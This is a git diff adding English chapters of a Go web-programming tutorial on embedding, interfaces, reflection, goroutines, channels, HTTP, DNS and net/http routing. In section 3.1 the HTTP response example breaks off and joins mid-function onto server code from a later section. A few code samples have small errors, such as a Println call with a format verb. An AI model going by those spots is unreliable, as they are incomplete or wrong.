we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well. + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human // anonymous field + school string + } + + type Employee struct { + Human + company string + } + + // define a method in Human + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() + } + +### Method overload + +If we want Employee to have its own method `SayHi`, we can define a method that has the same name in Employee, and it will hide `SayHi` in Human when we call it. + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human + school string + } + + type Employee struct { + Human + company string + } + + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. + } + + func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() + } + +You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well. + +## Links + +- [Directory](preface.md) +- Previous section: [struct](02.4.md) +- Next section: [interface](02.6.md) diff --git a/de/02.6.md b/de/02.6.md new file mode 100644 index 00000000..40167fac --- /dev/null +++ b/de/02.6.md @@ -0,0 +1,395 @@ +# 2.6 Interface + +## Interface + +One of the subtlest design features in Go are interfaces. After reading this section, you will likely be impressed by their implementation. + +### What is an interface + +In short, an interface is a set of methods that we use to define a set of actions. + +Like the examples in previous sections, both Student and Employee can `SayHi()`, but they don't do the same thing. + +Let's do some more work. We'll add one more method `Sing()` to them, along with the `BorrowMoney()` method to Student and the `SpendSalary()` method to Employee. + +Now, Student has three methods called `SayHi()`, `Sing()` and `BorrowMoney()`, and Employee has `SayHi()`, `Sing()` and `SpendSalary()`. + +This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: `SayHi()` and `Sing()`. At the same time, Employee doesn't implement the interface: `SayHi()`, `Sing()`, `BorrowMoney()`, and Student doesn't implement the interface: `SayHi()`, `Sing()`, `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`. + +### Type of Interface + +An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface. + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human + school string + loan float32 + } + + type Employee struct { + Human + company string + money float32 + } + + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func (h *Human) Sing(lyrics string) { + fmt.Println("La la, la la la, la la la la la...", lyrics) + } + + func (h *Human) Guzzle(beerStein string) { + fmt.Println("Guzzle Guzzle Guzzle...", beerStein) + } + + // Employee overloads Sayhi + func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. + } + + func (s *Student) BorrowMoney(amount float32) { + s.loan += amount // (again and again and...) + } + + func (e *Employee) SpendSalary(amount float32) { + e.money -= amount // More vodka please!!! Get me through the day! + } + + // define interface + type Men interface { + SayHi() + Sing(lyrics string) + Guzzle(beerStein string) + } + + type YoungChap interface { + SayHi() + Sing(song string) + BorrowMoney(amount float32) + } + + type ElderlyGent interface { + SayHi() + Sing(song string) + SpendSalary(amount float32) + } + +We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously. + +Note that any type implements the empty interface `interface{}` because it doesn't have any methods and all types have zero methods by default. + +### Value of interface + +So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the interface can assigned to this variable. + +Like the above example, if we define a variable "m" as interface Men, then any one of Student, Human or Employee can be assigned to "m". So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be aware however that the slice of interface doesn't have the same behavior as a slice of other types. + + package main + + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human + school string + loan float32 + } + + type Employee struct { + Human + company string + money float32 + } + + func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) + } + + func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. + } + + // Interface Men implemented by Human, Student and Employee + type Men interface { + SayHi() + Sing(lyrics string) + } + + func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + // define interface i + var i Men + + //i can store Student + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //i can store Employee + i = Tom + fmt.Println("This is Tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + // slice of Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + // these three elements are different types but they all implemented interface Men + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x { + value.SayHi() + } + } + + +An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself. + +### Empty interface + +An empty interface is an interface that doesn't contain any methods, so all types implement an empty interface. This fact is very useful when we want to store all types at some point, and is similar to void* in C. + + // define a as empty interface + var a interface{} + var i int = 5 + s := "Hello world" + // a can store value of any type + a = i + a = s + +If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty interface as its return value type, it can return any type. + +### Method arguments of an interface + +Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function? + +For example we use fmt.Println a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of fmt, we see the following definition. + + type Stringer interface { + String() string + } + +This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it. + + package main + + import ( + "fmt" + "strconv" + ) + + type Human struct { + name string + age int + phone string + } + + // Human implemented fmt.Stringer + func (h Human) String() string { + return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone + } + + func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) + } + + +Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format. + + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + fmt.Println("The biggest one is", boxes.BiggestsColor()) + +Attention: If the type implemented the interface `error`, fmt will call `error()`, so you don't have to implement Stringer at this point. + +### Type of variable in an interface + +If a variable is the type that implements an interface, we know that any other type that implements the same interface can be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways which I will show you. + +- Assertion of Comma-ok pattern + +Go has the syntax `value, ok := element.(T)`. This checks to see if the variable is the type that we expect, where "value" is the value of the variable, "ok" is a variable of boolean type, "element" is the interface variable and the T is the type of assertion. + +If the element is the type that we expect, ok will be true, false otherwise. + +Let's use an example to see more clearly. + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List []Element + + type Person struct { + name string + age int + } + + func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Printf("list[%d] is of a different type\n", index) + } + } + } + +It's quite easy to use this pattern, but if we have many types to test, we'd better use `switch`. + +- switch test + +Let's use `switch` to rewrite the above example. + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List []Element + + type Person struct { + name string + age int + } + + func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) + } + } + } + + +One thing you should remember is that `element.(type)` cannot be used outside of the `switch` body, which means in that case you have to use the `comma-ok` pattern . + +### Embedded interfaces + +The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we can use interfaces as anonymous fields as well, but we call them `Embedded interfaces`. Here, we follow the same rules as anonymous fields. More specifically, if an interface has another interface embedded within it, it will have as if it has all the methods that the embedded interface has. + +We can see that the source file in `container/heap` has the following definition: + + type Interface interface { + sort.Interface // embedded sort.Interface + Push(x interface{}) //a Push method to push elements into the heap + Pop() interface{} //a Pop elements that pops elements from the heap + } + +We see that `sort.Interface` is an embedded interface, so the above Interface has the three methods contained within the `sort.Interface` implicitly. + + type Interface interface { + // Len is the number of elements in the collection. + Len() int + // Less returns whether the element with index i should sort + // before the element with index j. + Less(i, j int) bool + // Swap swaps the elements with indexes i and j. + Swap(i, j int) + } + +Another example is the `io.ReadWriter` in package `io`. + + // io.ReadWriter + type ReadWriter interface { + Reader + Writer + } + +### Reflection + +Reflection in Go is used for determining information at runtime. We use the `reflect` package, and this official [article](http://golang.org/doc/articles/laws_of_reflection.html) explains how reflect works in Go. + +There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation). + + t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements + v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value + +After that, we can convert the reflected types to get the values that we need. + + var x float64 = 3.4 + v := reflect.ValueOf(x) + fmt.Println("type:", v.Type()) + fmt.Println("kind is float64:", v.Kind() == reflect.Float64) + fmt.Println("value:", v.Float()) + +Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile. + + var x float64 = 3.4 + v := reflect.ValueOf(x) + v.SetFloat(7.1) + +Instead, we must use the following code to change the values from reflect types. + + var x float64 = 3.4 + p := reflect.ValueOf(&x) + v := p.Elem() + v.SetFloat(7.1) + +We have just discussed the basics of reflection, however you must practice more in order to understand more. + +## Links + +- [Directory](preface.md) +- Previous section: [Object-oriented](02.5.md) +- Next section: [Concurrency](02.7.md) diff --git a/de/02.7.md b/de/02.7.md new file mode 100644 index 00000000..dd6ecf52 --- /dev/null +++ b/de/02.7.md @@ -0,0 +1,242 @@ +# Concurrency + +It is said that Go is the C language of the 21st century. I think there are two reasons: first, Go is a simple language; second, concurrency is a hot topic in today's world, and Go supports this feature at the language level. + +## goroutine + +goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. More than a dozen goroutines maybe only have 5 or 6 underlying threads. Go also gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory. Therefore, it's not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient and more convenient than system threads. + +goroutines run on the thread manager at runtime in Go. We use the `go` keyword to create a new goroutine, which is a function at the underlying level ( ***main() is a goroutine*** ). + + go hello(a, b, c) + +Let's see an example. + + package main + + import ( + "fmt" + "runtime" + ) + + func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) + } + } + + func main() { + go say("world") // create a new goroutine + say("hello") // current goroutine + } + +Output: + + hello + world + hello + world + hello + world + hello + world + hello + +We see that it's very easy to use concurrency in Go by using the keyword `go`. In the above example, these two goroutines share some memory, but we would better off following the design recipe: Don't use shared data to communicate, use communication to share data. + +runtime.Gosched() means let the CPU execute other goroutines, and come back at some point. + +The scheduler only uses one thread to run all goroutines, which means it only implements concurrency. If you want to use more CPU cores in order to take advantage of parallel processing, you have to call runtime.GOMAXPROCS(n) to set the number of cores you want to use. If `n<1`, it changes nothing. This function may be removed in the future, see more details about parallel processing and concurrency in this [article](http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide). + +## channels + +goroutines run in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called `channel`. `channel` is like a two-way pipeline in Unix shells: use `channel` to send or receive data. The only data type that can be used in channels is the type `channel` and the keyword `chan`. Be aware that you have to use `make` to create a new `channel`. + + ci := make(chan int) + cs := make(chan string) + cf := make(chan interface{}) + +channel uses the operator `<-` to send or receive data. + + ch <- v // send v to channel ch. + v := <-ch // receive data from ch, and assign to v + +Let's see more examples. + + package main + + import "fmt" + + func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v + } + c <- total // send total to c + } + + func main() { + a := []int{7, 2, 8, -9, 4, 0} + + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c + + fmt.Println(x, y, x + y) + } + +Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean by block is that a goroutine will not continue when receiving data from an empty channel, i.e (`value := <-ch`), until other goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel, i.e (`ch<-5`), is received. + +## Buffered channels + +I introduced non-buffered channels above. Go also has buffered channels that can store more than a single element. For example, `ch := make(chan bool, 4)`, here we create a channel that can store 4 boolean elements. So in this channel, we are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element and no goroutine receives it. + + ch := make(chan type, n) + + n == 0 ! non-buffer(block) + n > 0 ! buffer(non-block until n elements in the channel) + +You can try the following code on your computer and change some values. + + package main + + import "fmt" + + func main() { + c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) + } + +## Range and Close + +We can use range to operate on buffer channels as in slice and map. + + package main + + import ( + "fmt" + ) + + func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x + y + } + close(c) + } + + func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) + } + } + +`for i := range c` will not stop reading data from channel until the channel is closed. We use the keyword `close` to close the channel in above example. It's impossible to send or receive data on a closed channel; you can use `v, ok := <-ch` to test if a channel is closed. If `ok` returns false, it means the there is no data in that channel and it was closed. + +Remember to always close channels in producers and not in consumers, or it's very easy to get into panic status. + +Another thing you need to remember is that channels are not like files. You don't have to close them frequently unless you are sure the channel is completely useless, or you want to exit range loops. + +## Select + +In the above examples, we only use one channel, but how can we deal with more than one channel? Go has a keyword called `select` to listen to many channels. + +`select` is blocking by default and it continues to execute only when one of channels has data to send or receive. If several channels are ready to use at the same time, select chooses which to execute randomly. + + package main + + import "fmt" + + func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x + y + case <-quit: + fmt.Println("quit") + return + } + } + } + + func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) + } + +`select` has a `default` case as well, just like `switch`. When all the channels are not ready for use, it executes the default case (it doesn't wait for the channel anymore). + + select { + case i := <-c: + // use i + default: + // executes here when c is blocked + } + +## Timeout + +Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whole program from blocking? It's simple, we can set a timeout in the select. + + func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <- c: + println(v) + case <- time.After(5 * time.Second): + println("timeout") + o <- true + break + } + } + }() + <- o + } + +## Runtime goroutine + +The package `runtime` has some functions for dealing with goroutines. + +- `runtime.Goexit()` + + Exits the current goroutine, but defered functions will be executed as usual. + +- `runtime.Gosched()` + + Lets the scheduler execute other goroutines and comes back at some point. + +- `runtime.NumCPU() int` + + Returns the number of CPU cores + +- `runtime.NumGoroutine() int` + + Returns the number of goroutines + +- `runtime.GOMAXPROCS(n int) int` + + Sets how many CPU cores you want to use + +## Links + +- [Directory](preface.md) +- Previous section: [interface](02.6.md) +- Next section: [Summary](02.8.md) diff --git a/de/02.8.md b/de/02.8.md new file mode 100644 index 00000000..b1306758 --- /dev/null +++ b/de/02.8.md @@ -0,0 +1,32 @@ +# 2.8 Summary + +In this chapter, we mainly introduced the 25 Go keywords. Let's review what they are and what they do. + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +- `var` and `const` are used to define variables and constants. +- `package` and `import` are for package use. +- `func` is used to define functions and methods. +- `return` is used to return values in functions or methods. +- `defer` is used to define defer functions. +- `go` is used to start a new goroutine. +- `select` is used to switch over multiple channels for communication. +- `interface` is used to define interfaces. +- `struct` is used to define special customized types. +- `break`, `case`, `continue`, `for`, `fallthrough`, `else`, `if`, `switch`, `goto` and `default` were introduced in section 2.3. +- `chan` is the type of channel for communication among goroutines. +- `type` is used to define customized types. +- `map` is used to define map which is similar to hash tables in other languages. +- `range` is used for reading data from `slice`, `map` and `channel`. + +If you understand how to use these 25 keywords, you've learned a lot of Go already. + +## Links + +- [Directory](preface.md) +- Previous section: [Concurrency](02.7.md) +- Next chapter: [Web foundation](03.0.md) diff --git a/de/03.0.md b/de/03.0.md new file mode 100644 index 00000000..11ee047c --- /dev/null +++ b/de/03.0.md @@ -0,0 +1,9 @@ +#3 Web foundation + +The reason you are reading this book is that you want to learn to build web applications in Go. As I've said before, Go provides many powerful packages like `http`. These packages can help you a lot when trying to build web applications. I'll teach you everything you need to know in the following chapters, and we'll talk about some concepts of the web and how to run web applications in Go in this chapter. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 2 Summary](02.8.md) +- Next section: [Web working principles](03.1.md) diff --git a/de/03.1.md b/de/03.1.md new file mode 100644 index 00000000..ca91cd86 --- /dev/null +++ b/de/03.1.md @@ -0,0 +1,153 @@ +# Web working principles + +Every time you open your browsers, type some URLs and press enter, you will see beautiful web pages appear on your screen. But do you know what is happening behind these simple actions? + +Normally, your browser is a client. After you type a URL, it takes the host part of the URL and sends it to a DNS server in order to get the IP address of the host. Then it connects to the IP address and asks to setup a TCP connection. The browser sends HTTP requests through the connection. The server handles them and replies with HTTP responses containing the content that make up the web page. Finally, the browser renders the body of the web page and disconnects from the server. + +![](images/3.1.web2.png?raw=true) + +Figure 3.1 Processes of users visit a website + +A web server, also known as an HTTP server, uses the HTTP protocol to communicate with clients. All web browsers can be considered clients. + +We can divide the web's working principles into the following steps: + +- Client uses TCP/IP protocol to connect to server. +- Client sends HTTP request packages to server. +- Server returns HTTP response packages to client. If the requested resources include dynamic scripts, server calls script engine first. +- Client disconnects from server, starts rendering HTML. + +This is a simple work flow of HTTP affairs -notice that the server closes its connections after it sends data to the clients, then waits for the next request. + +## URL and DNS resolution + +We always use URLs to access web pages, but do you know how URLs work? + +The full name of a URL is Uniform Resource Locator. It's for describing resources on the internet and its basic form is as follows. + + scheme://host[:port#]/path/.../[?query-string][#anchor] + scheme assign underlying protocol (such as HTTP, HTTPS, FTP) + host IP or domain name of HTTP server + port# default port is 80, and it can be omitted in this case. If you want to use other ports, you must specify which port. For example, http://www.cnblogs.com:8080/ + path resources path + query-string data are sent to server + anchor anchor + +DNS is an abbreviation of Domain Name System. It's the naming system for computer network services, and it converts domain names to actual IP addresses, just like a translator. + +![](images/3.1.dns_hierachy.png?raw=true) + +Figure 3.2 DNS working principles + +To understand more about its working principle, let's see the detailed DNS resolution process as follows. + +1. After typing the domain name `www.qq.com` in the browser, the operating system will check if there are any mapping relationships in the hosts' files for this domain name. If so, then the domain name resolution is complete. +2. If no mapping relationships exist in the hosts' files, the operating system will check if any cache exists in the DNS. If so, then the domain name resolution is complete. +3. If no mapping relationships exist in both the host and DNS cache, the operating system finds the first DNS resolution server in your TCP/IP settings, which is likely your local DNS server. When the local DNS server receives the query, if the domain name that you want to query is contained within the local configuration of its regional resources, it returns the results to the client. This DNS resolution is authoritative. +4. If the local DNS server doesn't contain the domain name but a mapping relationship exists in the cache, the local DNS server gives back this result to the client. This DNS resolution is not authoritative. +5. If the local DNS server cannot resolve this domain name either by configuration of regional resources or cache, it will proceed to the next step, which depends on the local DNS server's settings. +-If the local DNS server doesn't enable forwarding, it routes the request to the root DNS server, then returns the IP address of a top level DNS server which may know the domain name, `.com` in this case. If the first top level DNS server doesn't recognize the domain name, it again reroutes the request to the next top level DNS server until it reaches one that recognizes the domain name. Then the top level DNS server asks this next level DNS server for the IP address corresponding to `www.qq.com`. +-If the local DNS server has forwarding enabled, it sends the request to an upper level DNS server. If the upper level DNS server also doesn't recognize the domain name, then the request keeps getting rerouted to higher levels until it finally reaches a DNS server which recognizes the domain name. + +Whether or not the local DNS server enables forwarding, the IP address of the domain name always returns to the local DNS server, and the local DNS server sends it back to the client. + +![](images/3.1.dns_inquery.png?raw=true) + +Figure 3.3 DNS resolution work flow + +`Recursive query process` simply means that the enquirers change in the process. Enquirers do not change in `Iterative query` processes. + +Now we know clients get IP addresses in the end, so the browsers are communicating with servers through IP addresses. + +## HTTP protocol + +The HTTP protocol is a core part of web services. It's important to know what the HTTP protocol is before you understand how the web works. + +HTTP is the protocol that is used to facilitate communication between browsers and web servers. It is based on the TCP protocol and usually uses port 80 on the side of the web server. It is a protocol that utilizes the request-response model -clients send requests and servers respond. According to the HTTP protocol, clients always setup new connections and send HTTP requests to servers. Servers are not able to connect to clients proactively, or establish callback connections. The connection between a client and a server can be closed by either side. For example, you can cancel your download request and HTTP connection and your browser will disconnect from the server before you finish downloading. + +The HTTP protocol is stateless, which means the server has no idea about the relationship between the two connections even though they are both from same client. To solve this problem, web applications use cookies to maintain the state of connections. + +Because the HTTP protocol is based on the TCP protocol, all TCP attacks will affect HTTP communications in your server. Examples of such attacks are SYN flooding, DoS and DDoS attacks. + +### HTTP request package (browser information) + +Request packages all have three parts: request line, request header, and body. There is one blank line between header and body. + + GET /domains/example/ HTTP/1.1 // request line: request method, URL, protocol and its version + Host:www.iana.org // domain name + User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 // browser information + Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 // mime that clients can accept + Accept-Encoding:gzip,deflate,sdch // stream compression + Accept-Charset:UTF-8,*;q=0.5 // character set in client side + // blank line + // body, request resource arguments (for example, arguments in POST) + +We use fiddler to get the following request information. + +![](images/3.1.http.png?raw=true) + +Figure 3.4 Information of a GET request caught by fiddler + +![](images/3.1.httpPOST.png?raw=true) + +Figure 3.5 Information of a POST request caught by fiddler + +**We can see that GET does not have a request body, unlike POST, which does.** + +There are many methods you can use to communicate with servers in HTTP; GET, POST, PUT and DELETE are the 4 basic methods that we typically use. A URL represents a resource on a network, so these 4 methods define the query, change, add and delete operations that can act on these resources. GET and POST are very commonly used in HTTP. GET can append query parameters to the URL, using `?` to separate the URL and parameters and `&` between the arguments, like `EditPosts.aspx?name=test1&id=123456`. POST puts data in the request body because the URL implements a length limitation via the browser. Thus, POST can submit much more data than GET. Also, when we submit user names and passwords, we don't want this kind of information to appear in the URL, so we use POST to keep them invisible. + +### HTTP response package (server information) + +Let's see what information is contained in the response packages. + + HTTP/1.1 200 OK // status line + Server: nginx/1.0.8 // web server software and its version in the server machine + Date:Date: Tue, 30 Oct 2012 04:14:25 GMT // responded time + Content-Type: text/html // responded data type + Transfer-Encoding: chunked // it means data were sent in fragments + Connection: keep-alive // keep connection + Content-Length: 90 // length of body + // blank line + max { + tempDelay = max + } + log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) + time.Sleep(tempDelay) + continue + } + return e + } + tempDelay = 0 + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + } + } + + +How do we accept client requests after we begin listening to a port? In the source code, we can see that `srv.Serve(net.Listener)` is called to handle client requests. In the body of the function there is a `for{}`. It accepts a request, creates a new connection then starts a new goroutine, passing the request data to the `go c.serve()` goroutine. This is how Go supports high concurrency, and every goroutine is independent. + +How do we use specific functions to handle requests? `conn` parses request `c.ReadRequest()` at first, then gets the corresponding handler: `handler := c.server.Handler` which is the second argument we passed when we called `ListenAndServe`. Because we passed `nil`, Go uses its default handler `handler = DefaultServeMux`. So what is `DefaultServeMux` doing here? Well, its the router variable which can call handler functions for specific URLs. Did we set this? Yes, we did. We did this in the first line where we used `http.HandleFunc("/", sayhelloName)`. We're using this function to register the router rule for the "/" path. When the URL is `/`, the router calls the function `sayhelloName`. DefaultServeMux calls ServerHTTP to get handler functions for different paths, calling `sayhelloName` in this specific case. Finally, the server writes data and responds to clients. + +Detailed work flow: + +![](images/3.3.illustrator.png?raw=true) + +Figure 3.10 Work flow of handling an HTTP request + +I think you should know how Go runs web servers now. + +## Links + +- [Directory](preface.md) +- Previous section: [Build a simple web server](03.2.md) +- Next section: [Get into http package](03.4.md) diff --git a/de/03.4.md b/de/03.4.md new file mode 100644 index 00000000..08062cfb --- /dev/null +++ b/de/03.4.md @@ -0,0 +1,135 @@ +# 3.4 Get into http package + +In previous sections, we learned about the work flow of the web and talked a little bit about Go's `http` package. In this section, we are going to learn about two core functions in the `http` package: Conn and ServeMux. + +## goroutine in Conn + +Unlike normal HTTP servers, Go uses goroutines for every job initiated by Conn in order to achieve high concurrency and performance, so every job is independent. + +Go uses the following code to wait for new connections from clients. + + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + +As you can see, it creates a new goroutine for every connection, and passes the handler that is able to read data from the request to the goroutine. + +## Customized ServeMux + +We used Go's default router in previous sections when discussing conn.server, with the router passing request data to a back-end handler. + +The struct of the default router: + + type ServeMux struct { + mu sync.RWMutex // because of concurrency, we have to use a mutex here + m map[string]muxEntry // router rules, every string mapping to a handler + } + +The struct of muxEntry: + + type muxEntry struct { + explicit bool // exact match or not + h Handler + } + +The interface of Handler: + + type Handler interface { + ServeHTTP(ResponseWriter, *Request) // routing implementer + } + +`Handler` is an interface, but if the function `sayhelloName` didn't implement this interface, then how did we add it as handler? The answer lies in another type called `HandlerFunc` in the `http` package. We called `HandlerFunc` to define our `sayhelloName` method, so `sayhelloName` implemented `Handler` at the same time. It's like we're calling `HandlerFunc(f)`, and the function `f` is force converted to type `HandlerFunc`. + + type HandlerFunc func(ResponseWriter, *Request) + + // ServeHTTP calls f(w, r). + func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { + f(w, r) + } + +How does the router call handlers after we set the router rules? + +The router calls `mux.handler.ServeHTTP(w, r)` when it receives requests. In other words, it calls the `ServeHTTP` interface of the handlers which have implemented it. + +Now, let's see how `mux.handler` works. + + func (mux *ServeMux) handler(r *Request) Handler { + mux.mu.RLock() + defer mux.mu.RUnlock() + + // Host-specific pattern takes precedence over generic ones + h := mux.match(r.Host + r.URL.Path) + if h == nil { + h = mux.match(r.URL.Path) + } + if h == nil { + h = NotFoundHandler() + } + return h + } + +The router uses the request's URL as a key to find the corresponding handler saved in the map, then calls handler.ServeHTTP to execute functions to handle the data. + +You should understand the default router's work flow by now, and Go actually supports customized routers. The second argument of `ListenAndServe` is for configuring customized routers. It's an interface of `Handler`. Therefore, any router that implements the `Handler` interface can be used. + +The following example shows how to implement a simple router. + + package main + + import ( + "fmt" + "net/http" + ) + + type MyMux struct { + } + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + http.NotFound(w, r) + return + } + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") + } + + func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) + } + +## Go code execution flow + +Let's take a look at the whole execution flow. + +- Call `http.HandleFunc` + 1. Call HandleFunc of DefaultServeMux + 2. Call Handle of DefaultServeMux + 3. Add router rules to map[string]muxEntry of DefaultServeMux +- Call `http.ListenAndServe(":9090", nil)` + 1. Instantiate Server + 2. Call ListenAndServe method of Server + 3. Call net.Listen("tcp", addr) to listen to port + 4. Start a loop and accept requests in the loop body + 5. Instantiate a Conn and start a goroutine for every request: `go c.serve()` + 6. Read request data: `w, err := c.readRequest()` + 7. Check whether handler is empty or not, if it's empty then use DefaultServeMux + 8. Call ServeHTTP of handler + 9. Execute code in DefaultServeMux in this case + 10. Choose handler by URL and execute code in that handler function: `mux.handler.ServeHTTP(w, r)` + 11. How to choose handler: + A. Check router rules for this URL + B. Call ServeHTTP in that handler if there is one + C. Call ServeHTTP of NotFoundHandler otherwise + +## Links + +- [Directory](preface.md) +- Previous section: [How Go works with web](03.3.md) +- Next section: [Summary](03.5.md) diff --git a/de/03.5.md b/de/03.5.md new file mode 100644 index 00000000..2d24cf9f --- /dev/null +++ b/de/03.5.md @@ -0,0 +1,11 @@ +# 3.5 Summary + +In this chapter, we introduced HTTP, DNS resolution flow and how to build a simple web server. Then we talked about how Go implements web servers for us by looking at the source code of the `net/http` package. + +I hope that you now know much more about web development, and you should see that it's quite easy and flexible to build a web application in Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Get into http package](03.4.md) +- Next chapter: [User form](04.0.md) diff --git a/de/04.0.md b/de/04.0.md new file mode 100644 index 00000000..5c250877 --- /dev/null +++ b/de/04.0.md @@ -0,0 +1,23 @@ +# 4 User form + +A user form is something that is very commonly used when developping web applications. It provides the ability to communicate between clients and servers. You must be very familiar with forms if you are a web developer; if you are a C/C++ programmer, you may want to ask: what is a user form? 